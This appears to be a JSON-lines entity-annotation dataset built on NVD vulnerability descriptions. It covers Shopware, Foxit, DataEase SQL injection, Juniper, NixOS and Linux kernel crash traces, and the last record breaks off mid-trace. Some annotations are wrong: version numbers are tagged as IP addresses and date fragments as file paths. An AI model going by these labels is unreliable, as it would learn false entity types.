{"text": "Shopware is an open commerce platform. Prior to 6.6.10.15 and 6.7.8.1, a vulnerability in the Shopware app registration flow that could, under specific conditions, allow attackers to take over the communication channel between a shop and an app. The legacy app registration flow used HMAC‑based authentication without sufficiently binding a shop installation to its original domain. During re‑registration, the shop-url could be updated without proving control over the previously registered shop or domain. This made targeted hijacking of app communication feasible if an attacker possessed the relevant app‑side secret. By abusing app re‑registration, an attacker could redirect app traffic to an attacker‑controlled domain and potentially obtain API credentials intended for the legitimate shop. This vulnerability is fixed in 6.6.10.15 and 6.7.8.1.", "spans": {"IP_ADDRESS: 6.6.10.15": [[48, 57], [830, 839]], "IP_ADDRESS: 6.7.8.1": [[62, 69], [844, 851]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31889"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PhantomPDF 9.7.1.29511. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of U3D objects in PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-10462.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10902"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skb_partial_csum_set() fix against transport header magic value\n\nskb->transport_header uses the special 0xFFFF value\nto mark if the transport header was set or not.\n\nWe must prevent callers to accidentaly set skb->transport_header\nto 0xFFFF. Note that only fuzzers can possibly do this today.\n\nsyzbot reported:\n\nWARNING: CPU: 0 PID: 2340 at include/linux/skbuff.h:2847 skb_transport_offset include/linux/skbuff.h:2956 [inline]\nWARNING: CPU: 0 PID: 2340 at include/linux/skbuff.h:2847 virtio_net_hdr_to_skb+0xbcc/0x10c0 include/linux/virtio_net.h:103\nModules linked in:\nCPU: 0 PID: 2340 Comm: syz-executor.0 Not tainted 6.3.0-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/14/2023\nRIP: 0010:skb_transport_header include/linux/skbuff.h:2847 [inline]\nRIP: 0010:skb_transport_offset include/linux/skbuff.h:2956 [inline]\nRIP: 0010:virtio_net_hdr_to_skb+0xbcc/0x10c0 include/linux/virtio_net.h:103\nCode: 41 39 df 0f 82 c3 04 00 00 48 8b 7c 24 10 44 89 e6 e8 08 6e 59 ff 48 85 c0 74 54 e8 ce 36 7e fc e9 37 f8 ff ff e8 c4 36 7e fc <0f> 0b e9 93 f8 ff ff 44 89 f7 44 89 e6 e8 32 38 7e fc 45 39 e6 0f\nRSP: 0018:ffffc90004497880 EFLAGS: 00010293\nRAX: ffffffff84fea55c RBX: 000000000000ffff RCX: ffff888120be2100\nRDX: 0000000000000000 RSI: 000000000000ffff RDI: 000000000000ffff\nRBP: ffffc90004497990 R08: ffffffff84fe9de5 R09: 0000000000000034\nR10: ffffea00048ebd80 R11: 0000000000000034 R12: ffff88811dc2d9c8\nR13: dffffc0000000000 R14: ffff88811dc2d9ae R15: 1ffff11023b85b35\nFS: 00007f9211a59700(0000) GS:ffff8881f6c00000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00000000200002c0 CR3: 00000001215a5000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n<TASK>\npacket_snd net/packet/af_packet.c:3076 [inline]\npacket_sendmsg+0x4590/0x61a0 net/packet/af_packet.c:3115\nsock_sendmsg_nosec net/socket.c:724 [inline]\nsock_sendmsg net/socket.c:747 [inline]\n__sys_sendto+0x472/0x630 net/socket.c:2144\n__do_sys_sendto net/socket.c:2156 [inline]\n__se_sys_sendto net/socket.c:2152 [inline]\n__x64_sys_sendto+0xe5/0x100 net/socket.c:2152\ndo_syscall_x64 arch/x86/entry/common.c:50 [inline]\ndo_syscall_64+0x2f/0x50 arch/x86/entry/common.c:80\nentry_SYSCALL_64_after_hwframe+0x63/0xcd\nRIP: 0033:0x7f9210c8c169\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 f1 19 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f9211a59168 EFLAGS: 00000246 ORIG_RAX: 000000000000002c\nRAX: ffffffffffffffda RBX: 00007f9210dabf80 RCX: 00007f9210c8c169\nRDX: 000000000000ffed RSI: 00000000200000c0 RDI: 0000000000000003\nRBP: 00007f9210ce7ca1 R08: 0000000020000540 R09: 0000000000000014\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007ffe135d65cf R14: 00007f9211a59300 R15: 0000000000022000", "spans": {"FILEPATH: /linux/skbuff.h": [[422, 437], [471, 486], [537, 552], [840, 855], [908, 923]], "FILEPATH: /linux/virtio_net.h": [[600, 619], [990, 1009]], "FILEPATH: /14/2023": [[793, 801]], "FILEPATH: /packet/af_packet.c": [[1944, 1963], [2010, 2029]], "FILEPATH: /x86/entry/common.c": [[2313, 2332], [2373, 2392]], "FILEPATH: socket.c": [[2058, 2066], [2097, 2105], [2148, 2156], [2182, 2190], [2225, 2233], [2280, 2288]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[727, 733], [734, 740], [756, 762], [784, 790]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53439"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: flowtable: fix stuck flows on cleanup due to pending work\n\nTo clear the flow table on flow table free, the following sequence\nnormally happens in order:\n\n  1) gc_step work is stopped to disable any further stats/del requests.\n  2) All flow table entries are set to teardown state.\n  3) Run gc_step which will queue HW del work for each flow table entry.\n  4) Waiting for the above del work to finish (flush).\n  5) Run gc_step again, deleting all entries from the flow table.\n  6) Flow table is freed.\n\nBut if a flow table entry already has pending HW stats or HW add work\nstep 3 will not queue HW del work (it will be skipped), step 4 will wait\nfor the pending add/stats to finish, and step 5 will queue HW del work\nwhich might execute after freeing of the flow table.\n\nTo fix the above, this patch flushes the pending work, then it sets the\nteardown flag to all flows in the flowtable and it forces a garbage\ncollector run to queue work to remove the flows from hardware, then it\nflushes this new pending work and (finally) it forces another garbage\ncollector run to remove the entry from the software flowtable.\n\nStack trace:\n[47773.882335] BUG: KASAN: use-after-free in down_read+0x99/0x460\n[47773.883634] Write of size 8 at addr ffff888103b45aa8 by task kworker/u20:6/543704\n[47773.885634] CPU: 3 PID: 543704 Comm: kworker/u20:6 Not tainted 5.12.0-rc7+ #2\n[47773.886745] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009)\n[47773.888438] Workqueue: nf_ft_offload_del flow_offload_work_handler [nf_flow_table]\n[47773.889727] Call Trace:\n[47773.890214]  dump_stack+0xbb/0x107\n[47773.890818]  print_address_description.constprop.0+0x18/0x140\n[47773.892990]  kasan_report.cold+0x7c/0xd8\n[47773.894459]  kasan_check_range+0x145/0x1a0\n[47773.895174]  down_read+0x99/0x460\n[47773.899706]  nf_flow_offload_tuple+0x24f/0x3c0 [nf_flow_table]\n[47773.907137]  flow_offload_work_handler+0x72d/0xbe0 [nf_flow_table]\n[47773.913372]  process_one_work+0x8ac/0x14e0\n[47773.921325]\n[47773.921325] Allocated by task 592159:\n[47773.922031]  kasan_save_stack+0x1b/0x40\n[47773.922730]  __kasan_kmalloc+0x7a/0x90\n[47773.923411]  tcf_ct_flow_table_get+0x3cb/0x1230 [act_ct]\n[47773.924363]  tcf_ct_init+0x71c/0x1156 [act_ct]\n[47773.925207]  tcf_action_init_1+0x45b/0x700\n[47773.925987]  tcf_action_init+0x453/0x6b0\n[47773.926692]  tcf_exts_validate+0x3d0/0x600\n[47773.927419]  fl_change+0x757/0x4a51 [cls_flower]\n[47773.928227]  tc_new_tfilter+0x89a/0x2070\n[47773.936652]\n[47773.936652] Freed by task 543704:\n[47773.937303]  kasan_save_stack+0x1b/0x40\n[47773.938039]  kasan_set_track+0x1c/0x30\n[47773.938731]  kasan_set_free_info+0x20/0x30\n[47773.939467]  __kasan_slab_free+0xe7/0x120\n[47773.940194]  slab_free_freelist_hook+0x86/0x190\n[47773.941038]  kfree+0xce/0x3a0\n[47773.941644]  tcf_ct_flow_table_cleanup_work\n\nOriginal patch description and stack trace by Paul Blakey.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1470, 1474]], "VULNERABILITY: use-after-free": [[1235, 1249]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50000"}}
{"text": "SOY CMS 3.0.2 and earlier is affected by Remote Code Execution (RCE) using Unrestricted File Upload. Cross-Site Scripting(XSS) vulnerability that was used in CVE-2020-15183 can be used to increase impact by redirecting the administrator to access a specially crafted page. This vulnerability is caused by insecure configuration in elFinder. This is fixed in version 3.0.2.328.", "spans": {"CVE_ID: CVE-2020-15183": [[158, 172]], "IP_ADDRESS: 3.0.2.328": [[366, 375]], "VULNERABILITY: Remote Code Execution": [[41, 62]], "VULNERABILITY: Cross-Site Scripting": [[101, 121]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15189"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nIB/mlx5: Fix UMR pd cleanup on error flow of driver init\n\nThe cited commit moves the pd allocation from function\nmlx5r_umr_resource_cleanup() to a new function mlx5r_umr_cleanup().\nSo the fix in commit [1] is broken. In error flow, will hit panic [2].\n\nFix it by checking pd pointer to avoid panic if it is NULL;\n\n[1] RDMA/mlx5: Fix UMR cleanup on error flow of driver init\n[2]\n [  347.567063] infiniband mlx5_0: Couldn't register device with driver model\n [  347.591382] BUG: kernel NULL pointer dereference, address: 0000000000000020\n [  347.593438] #PF: supervisor read access in kernel mode\n [  347.595176] #PF: error_code(0x0000) - not-present page\n [  347.596962] PGD 0 P4D 0\n [  347.601361] RIP: 0010:ib_dealloc_pd_user+0x12/0xc0 [ib_core]\n [  347.604171] RSP: 0018:ffff888106293b10 EFLAGS: 00010282\n [  347.604834] RAX: 0000000000000000 RBX: 000000000000000e RCX: 0000000000000000\n [  347.605672] RDX: ffff888106293ad0 RSI: 0000000000000000 RDI: 0000000000000000\n [  347.606529] RBP: 0000000000000000 R08: ffff888106293ae0 R09: ffff888106293ae0\n [  347.607379] R10: 0000000000000a06 R11: 0000000000000000 R12: 0000000000000000\n [  347.608224] R13: ffffffffa0704dc0 R14: 0000000000000001 R15: 0000000000000001\n [  347.609067] FS:  00007fdc720cd9c0(0000) GS:ffff88852c880000(0000) knlGS:0000000000000000\n [  347.610094] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n [  347.610727] CR2: 0000000000000020 CR3: 0000000103012003 CR4: 0000000000370eb0\n [  347.611421] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n [  347.612113] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n [  347.612804] Call Trace:\n [  347.613130]  <TASK>\n [  347.613417]  ? __die+0x20/0x60\n [  347.613793]  ? page_fault_oops+0x150/0x3e0\n [  347.614243]  ? free_msg+0x68/0x80 [mlx5_core]\n [  347.614840]  ? cmd_exec+0x48f/0x11d0 [mlx5_core]\n [  347.615359]  ? exc_page_fault+0x74/0x130\n [  347.615808]  ? asm_exc_page_fault+0x22/0x30\n [  347.616273]  ? ib_dealloc_pd_user+0x12/0xc0 [ib_core]\n [  347.616801]  mlx5r_umr_cleanup+0x23/0x90 [mlx5_ib]\n [  347.617365]  mlx5_ib_stage_pre_ib_reg_umr_cleanup+0x36/0x40 [mlx5_ib]\n [  347.618025]  __mlx5_ib_add+0x96/0xd0 [mlx5_ib]\n [  347.618539]  mlx5r_probe+0xe9/0x310 [mlx5_ib]\n [  347.619032]  ? kernfs_add_one+0x107/0x150\n [  347.619478]  ? __mlx5_ib_add+0xd0/0xd0 [mlx5_ib]\n [  347.619984]  auxiliary_bus_probe+0x3e/0x90\n [  347.620448]  really_probe+0xc5/0x3a0\n [  347.620857]  __driver_probe_device+0x80/0x160\n [  347.621325]  driver_probe_device+0x1e/0x90\n [  347.621770]  __driver_attach+0xec/0x1c0\n [  347.622213]  ? __device_attach_driver+0x100/0x100\n [  347.622724]  bus_for_each_dev+0x71/0xc0\n [  347.623151]  bus_add_driver+0xed/0x240\n [  347.623570]  driver_register+0x58/0x100\n [  347.623998]  __auxiliary_driver_register+0x6a/0xc0\n [  347.624499]  ? driver_register+0xae/0x100\n [  347.624940]  ? 0xffffffffa0893000\n [  347.625329]  mlx5_ib_init+0x16a/0x1e0 [mlx5_ib]\n [  347.625845]  do_one_initcall+0x4a/0x2a0\n [  347.626273]  ? gcov_event+0x2e2/0x3a0\n [  347.626706]  do_init_module+0x8a/0x260\n [  347.627126]  init_module_from_file+0x8b/0xd0\n [  347.627596]  __x64_sys_finit_module+0x1ca/0x2f0\n [  347.628089]  do_syscall_64+0x4c/0x100", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[553, 577]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47694"}}
{"text": "Puma is a concurrent HTTP 1.1 server for Ruby/Rack applications. The fix for CVE-2019-16770 was incomplete. The original fix only protected existing connections that had already been accepted from having their requests starved by greedy persistent-connections saturating all threads in the same process. However, new connections may still be starved by greedy persistent-connections saturating all threads in all processes in the cluster. A `puma` server which received more concurrent `keep-alive` connections than the server had threads in its threadpool would service only a subset of connections, denying service to the unserved connections. This problem has been fixed in `puma` 4.3.8 and 5.3.1. Setting `queue_requests false` also fixes the issue. This is not advised when using `puma` without a reverse proxy, such as `nginx` or `apache`, because you will open yourself to slow client attacks (e.g. slowloris). The fix is very small and a git patch is available for those using unsupported versions of Puma.", "spans": {"CVE_ID: CVE-2019-16770": [[77, 91]], "SYSTEM: nginx": [[826, 831]], "SYSTEM: Ruby": [[41, 45]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29509"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: Disable IRQ before init_fn() for nonboot CPUs\n\nDisable IRQ before init_fn() for nonboot CPUs when hotplug, in order to\nsilence such warnings (and also avoid potential errors due to unexpected\ninterrupts):\n\nWARNING: CPU: 1 PID: 0 at kernel/rcu/tree.c:4503 rcu_cpu_starting+0x214/0x280\nCPU: 1 PID: 0 Comm: swapper/1 Not tainted 6.6.17+ #1198\npc 90000000048e3334 ra 90000000047bd56c tp 900000010039c000 sp 900000010039fdd0\na0 0000000000000001 a1 0000000000000006 a2 900000000802c040 a3 0000000000000000\na4 0000000000000001 a5 0000000000000004 a6 0000000000000000 a7 90000000048e3f4c\nt0 0000000000000001 t1 9000000005c70968 t2 0000000004000000 t3 000000000005e56e\nt4 00000000000002e4 t5 0000000000001000 t6 ffffffff80000000 t7 0000000000040000\nt8 9000000007931638 u0 0000000000000006 s9 0000000000000004 s0 0000000000000001\ns1 9000000006356ac0 s2 9000000007244000 s3 0000000000000001 s4 0000000000000001\ns5 900000000636f000 s6 7fffffffffffffff s7 9000000002123940 s8 9000000001ca55f8\n   ra: 90000000047bd56c tlb_init+0x24c/0x528\n  ERA: 90000000048e3334 rcu_cpu_starting+0x214/0x280\n CRMD: 000000b0 (PLV0 -IE -DA +PG DACF=CC DACM=CC -WE)\n PRMD: 00000000 (PPLV0 -PIE -PWE)\n EUEN: 00000000 (-FPE -SXE -ASXE -BTE)\n ECFG: 00071000 (LIE=12 VS=7)\nESTAT: 000c0000 [BRK] (IS= ECode=12 EsubCode=0)\n PRID: 0014c010 (Loongson-64bit, Loongson-3A5000)\nCPU: 1 PID: 0 Comm: swapper/1 Not tainted 6.6.17+ #1198\nStack : 0000000000000000 9000000006375000 9000000005b61878 900000010039c000\n        900000010039fa30 0000000000000000 900000010039fa38 900000000619a140\n        9000000006456888 9000000006456880 900000010039f950 0000000000000001\n        0000000000000001 cb0cb028ec7e52e1 0000000002b90000 9000000100348700\n        0000000000000000 0000000000000001 ffffffff916d12f1 0000000000000003\n        0000000000040000 9000000007930370 0000000002b90000 0000000000000004\n        9000000006366000 900000000619a140 0000000000000000 0000000000000004\n        0000000000000000 0000000000000009 ffffffffffc681f2 9000000002123940\n        9000000001ca55f8 9000000006366000 90000000047a4828 00007ffff057ded8\n        00000000000000b0 0000000000000000 0000000000000000 0000000000071000\n        ...\nCall Trace:\n[<90000000047a4828>] show_stack+0x48/0x1a0\n[<9000000005b61874>] dump_stack_lvl+0x84/0xcc\n[<90000000047f60ac>] __warn+0x8c/0x1e0\n[<9000000005b0ab34>] report_bug+0x1b4/0x280\n[<9000000005b63110>] do_bp+0x2d0/0x480\n[<90000000047a2e20>] handle_bp+0x120/0x1c0\n[<90000000048e3334>] rcu_cpu_starting+0x214/0x280\n[<90000000047bd568>] tlb_init+0x248/0x528\n[<90000000047a4c44>] per_cpu_trap_init+0x124/0x160\n[<90000000047a19f4>] cpu_probe+0x494/0xa00\n[<90000000047b551c>] start_secondary+0x3c/0xc0\n[<9000000005b66134>] smpboot_entry+0x50/0x58", "spans": {"FILEPATH: /rcu/tree.c": [[318, 329]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26765"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions the implementation of division in TFLite is [vulnerable to a division by 0 error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc). There is no check that the divisor tensor does not contain zero elements. We have patched the issue in GitHub commit 1e206baedf8bef0334cca3eb92bab134ef525a28. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc": [[174, 291]], "HASH: 1e206baedf8bef0334cca3eb92bab134ef525a28": [[411, 451]], "ORGANIZATION: GitHub": [[397, 403]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37683"}}
{"text": "DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below contain a SQL injection vulnerability in the sort parameter of the /de2api/datasetData/enumValueObj endpoint. The DatasetDataManage service layer directly transfers the user-supplied sort value to the sorting metadata DTO, which is passed to Order2SQLObj where it is incorporated into the SQL ORDER BY clause without any whitelist validation, and then executed via CalciteProvider. An authenticated attacker can inject arbitrary SQL commands through the sort parameter, enabling time-based blind SQL injection. This issue has been fixed in version 2.10.21.", "spans": {"FILEPATH: /de2api/datasetData/enumValueObj": [[164, 196]], "VULNERABILITY: SQL injection": [[107, 120], [593, 606]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33084"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Preferences). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle CRM Technical Foundation accessible data as well as unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [290, 296], [440, 446], [645, 651], [760, 766]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2653"}}
{"text": "When DNS filtering is enabled on Juniper Networks Junos MX Series with one of the following cards MS-PIC, MS-MIC or MS-MPC, an incoming stream of packets processed by the Multiservices PIC Management Daemon (mspmand) process, responsible for managing \"URL Filtering service\", may crash, causing the Services PIC to restart. While the Services PIC is restarting, all PIC services including DNS filtering service (DNS sink holing) will be bypassed until the Services PIC completes its boot process. If the issue occurs, system core-dumps output will show a crash of mspmand process: root@device> show system core-dumps -rw-rw---- 1 nobody wheel 575685123 <Date> /var/tmp/pics/mspmand.core.<*>.gz This issue affects Juniper Networks Junos OS: 17.3 versions prior to 17.3R3-S8; 18.3 versions prior to 18.3R2-S4, 18.3R3-S1; 18.4 versions prior to 18.4R2-S5, 18.4R3; 19.1 versions prior to 19.1R2-S2, 19.1R3; 19.2 versions prior to 19.2R1-S5, 19.2R2; 19.3 versions prior to 19.3R2-S3, 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2. This issue does not affect Juniper Networks Junos OS releases prior to 17.3R2.", "spans": {"FILEPATH: /var/tmp/pics/mspmand.core.": [[660, 687]], "ORGANIZATION: Juniper": [[33, 40], [713, 720], [1056, 1063]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1645"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: Add architecture specific huge_pte_clear()\n\nWhen executing mm selftests run_vmtests.sh, there is such an error:\n\n BUG: Bad page state in process uffd-unit-tests  pfn:00000\n page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x0\n flags: 0xffff0000002000(reserved|node=0|zone=0|lastcpupid=0xffff)\n raw: 00ffff0000002000 ffffbf0000000008 ffffbf0000000008 0000000000000000\n raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000\n page dumped because: PAGE_FLAGS_CHECK_AT_FREE flag(s) set\n Modules linked in: snd_seq_dummy snd_seq snd_seq_device rfkill vfat fat\n    virtio_balloon efi_pstore virtio_net pstore net_failover failover fuse\n    nfnetlink virtio_scsi virtio_gpu virtio_dma_buf dm_multipath efivarfs\n CPU: 2 UID: 0 PID: 1913 Comm: uffd-unit-tests Not tainted 6.12.0 #184\n Hardware name: QEMU QEMU Virtual Machine, BIOS unknown 2/2/2022\n Stack : 900000047c8ac000 0000000000000000 9000000000223a7c 900000047c8ac000\n         900000047c8af690 900000047c8af698 0000000000000000 900000047c8af7d8\n         900000047c8af7d0 900000047c8af7d0 900000047c8af5b0 0000000000000001\n         0000000000000001 900000047c8af698 10b3c7d53da40d26 0000010000000000\n         0000000000000022 0000000fffffffff fffffffffe000000 ffff800000000000\n         000000000000002f 0000800000000000 000000017a6d4000 90000000028f8940\n         0000000000000000 0000000000000000 90000000025aa5e0 9000000002905000\n         0000000000000000 90000000028f8940 ffff800000000000 0000000000000000\n         0000000000000000 0000000000000000 9000000000223a94 000000012001839c\n         00000000000000b0 0000000000000004 0000000000000000 0000000000071c1d\n         ...\n Call Trace:\n [<9000000000223a94>] show_stack+0x5c/0x180\n [<9000000001c3fd64>] dump_stack_lvl+0x6c/0xa0\n [<900000000056aa08>] bad_page+0x1a0/0x1f0\n [<9000000000574978>] free_unref_folios+0xbf0/0xd20\n [<90000000004e65cc>] folios_put_refs+0x1a4/0x2b8\n [<9000000000599a0c>] free_pages_and_swap_cache+0x164/0x260\n [<9000000000547698>] tlb_batch_pages_flush+0xa8/0x1c0\n [<9000000000547f30>] tlb_finish_mmu+0xa8/0x218\n [<9000000000543cb8>] exit_mmap+0x1a0/0x360\n [<9000000000247658>] __mmput+0x78/0x200\n [<900000000025583c>] do_exit+0x43c/0xde8\n [<9000000000256490>] do_group_exit+0x68/0x110\n [<9000000000256554>] sys_exit_group+0x1c/0x20\n [<9000000001c413b4>] do_syscall+0x94/0x130\n [<90000000002216d8>] handle_syscall+0xb8/0x158\n Disabling lock debugging due to kernel taint\n BUG: non-zero pgtables_bytes on freeing mm: -16384\n\nOn LoongArch system, invalid huge pte entry should be invalid_pte_table\nor a single _PAGE_HUGE bit rather than a zero value. And it should be\nthe same with invalid pmd entry, since pmd_none() is called by function\nfree_pgd_range() and pmd_none() return 0 by huge_pte_clear(). So single\n_PAGE_HUGE bit is also treated as a valid pte table and free_pte_range()\nwill be called in free_pmd_range().\n\n  free_pmd_range()\n        pmd = pmd_offset(pud, addr);\n        do {\n                next = pmd_addr_end(addr, end);\n                if (pmd_none_or_clear_bad(pmd))\n                        continue;\n                free_pte_range(tlb, pmd, addr);\n        } while (pmd++, addr = next, addr != end);\n\nHere invalid_pte_table is used for both invalid huge pte entry and\npmd entry.", "spans": {"FILEPATH: /2/2022": [[948, 955]], "FILEPATH: run_vmtests.sh": [[152, 166]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[907, 911], [912, 916]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56628"}}
{"text": "calamares-nixos-extensions provides Calamares branding and modules for NixOS, a distribution of GNU/Linux. Users who installed NixOS through the graphical installer who used manual disk partitioning to create a setup where the system was booted via legacy BIOS rather than UEFI; some disk partitions are encrypted; but the partitions containing either `/` or `/boot` are unencrypted; have their LUKS disk encryption key file in plain text either in `/crypto_keyfile.bin`, or in a CPIO archive attached to their NixOS initrd. `nixos-install` is not affected, nor are UEFI installations, nor was the default automatic partitioning configuration on legacy BIOS systems. The problem has been fixed in calamares-nixos-extensions 0.3.17, which was included in NixOS. The current installer images for the NixOS 24.05 and unstable (24.11) channels are unaffected. The fix reached 24.05 at 2024-08-13 20:06:59 UTC, and unstable at 2024-08-15 09:00:20 UTC. Installer images downloaded before those times may be vulnerable. The best solution for affected users is probably to back up their data and do a complete reinstallation. However, the mitigation procedure in GHSA-3rvf-24q2-24ww should work solely for the case where `/` is encrypted but `/boot` is not. If `/` is unencrypted, then the `/crypto_keyfile.bin` file will need to be deleted in addition to the remediation steps in the previous advisory. This issue is a partial regression of CVE-2023-36476 / GHSA-3rvf-24q2-24ww, which was more severe as it applied to the default configuration on BIOS systems.", "spans": {"CVE_ID: CVE-2023-36476": [[1434, 1448]], "SYSTEM: Linux": [[100, 105]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43378"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: mpt3sas: Fix possible resource leaks in mpt3sas_transport_port_add()\n\nIn mpt3sas_transport_port_add(), if sas_rphy_add() returns error,\nsas_rphy_free() needs be called to free the resource allocated in\nsas_end_device_alloc(). Otherwise a kernel crash will happen:\n\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000108\nCPU: 45 PID: 37020 Comm: bash Kdump: loaded Tainted: G        W          6.1.0-rc1+ #189\npstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : device_del+0x54/0x3d0\nlr : device_del+0x37c/0x3d0\nCall trace:\n device_del+0x54/0x3d0\n attribute_container_class_device_del+0x28/0x38\n transport_remove_classdev+0x6c/0x80\n attribute_container_device_trigger+0x108/0x110\n transport_remove_device+0x28/0x38\n sas_rphy_remove+0x50/0x78 [scsi_transport_sas]\n sas_port_delete+0x30/0x148 [scsi_transport_sas]\n do_sas_phy_delete+0x78/0x80 [scsi_transport_sas]\n device_for_each_child+0x68/0xb0\n sas_remove_children+0x30/0x50 [scsi_transport_sas]\n sas_rphy_remove+0x38/0x78 [scsi_transport_sas]\n sas_port_delete+0x30/0x148 [scsi_transport_sas]\n do_sas_phy_delete+0x78/0x80 [scsi_transport_sas]\n device_for_each_child+0x68/0xb0\n sas_remove_children+0x30/0x50 [scsi_transport_sas]\n sas_remove_host+0x20/0x38 [scsi_transport_sas]\n scsih_remove+0xd8/0x420 [mpt3sas]\n\nBecause transport_add_device() is not called when sas_rphy_add() fails, the\ndevice is not added. When sas_rphy_remove() is subsequently called to\nremove the device in the remove() path, a NULL pointer dereference happens.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[364, 388], [1572, 1596]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50532"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: fix ktls panic with sockmap\n\n[ 2172.936997] ------------[ cut here ]------------\n[ 2172.936999] kernel BUG at lib/iov_iter.c:629!\n......\n[ 2172.944996] PKRU: 55555554\n[ 2172.945155] Call Trace:\n[ 2172.945299]  <TASK>\n[ 2172.945428]  ? die+0x36/0x90\n[ 2172.945601]  ? do_trap+0xdd/0x100\n[ 2172.945795]  ? iov_iter_revert+0x178/0x180\n[ 2172.946031]  ? iov_iter_revert+0x178/0x180\n[ 2172.946267]  ? do_error_trap+0x7d/0x110\n[ 2172.946499]  ? iov_iter_revert+0x178/0x180\n[ 2172.946736]  ? exc_invalid_op+0x50/0x70\n[ 2172.946961]  ? iov_iter_revert+0x178/0x180\n[ 2172.947197]  ? asm_exc_invalid_op+0x1a/0x20\n[ 2172.947446]  ? iov_iter_revert+0x178/0x180\n[ 2172.947683]  ? iov_iter_revert+0x5c/0x180\n[ 2172.947913]  tls_sw_sendmsg_locked.isra.0+0x794/0x840\n[ 2172.948206]  tls_sw_sendmsg+0x52/0x80\n[ 2172.948420]  ? inet_sendmsg+0x1f/0x70\n[ 2172.948634]  __sys_sendto+0x1cd/0x200\n[ 2172.948848]  ? find_held_lock+0x2b/0x80\n[ 2172.949072]  ? syscall_trace_enter+0x140/0x270\n[ 2172.949330]  ? __lock_release.isra.0+0x5e/0x170\n[ 2172.949595]  ? find_held_lock+0x2b/0x80\n[ 2172.949817]  ? syscall_trace_enter+0x140/0x270\n[ 2172.950211]  ? lockdep_hardirqs_on_prepare+0xda/0x190\n[ 2172.950632]  ? ktime_get_coarse_real_ts64+0xc2/0xd0\n[ 2172.951036]  __x64_sys_sendto+0x24/0x30\n[ 2172.951382]  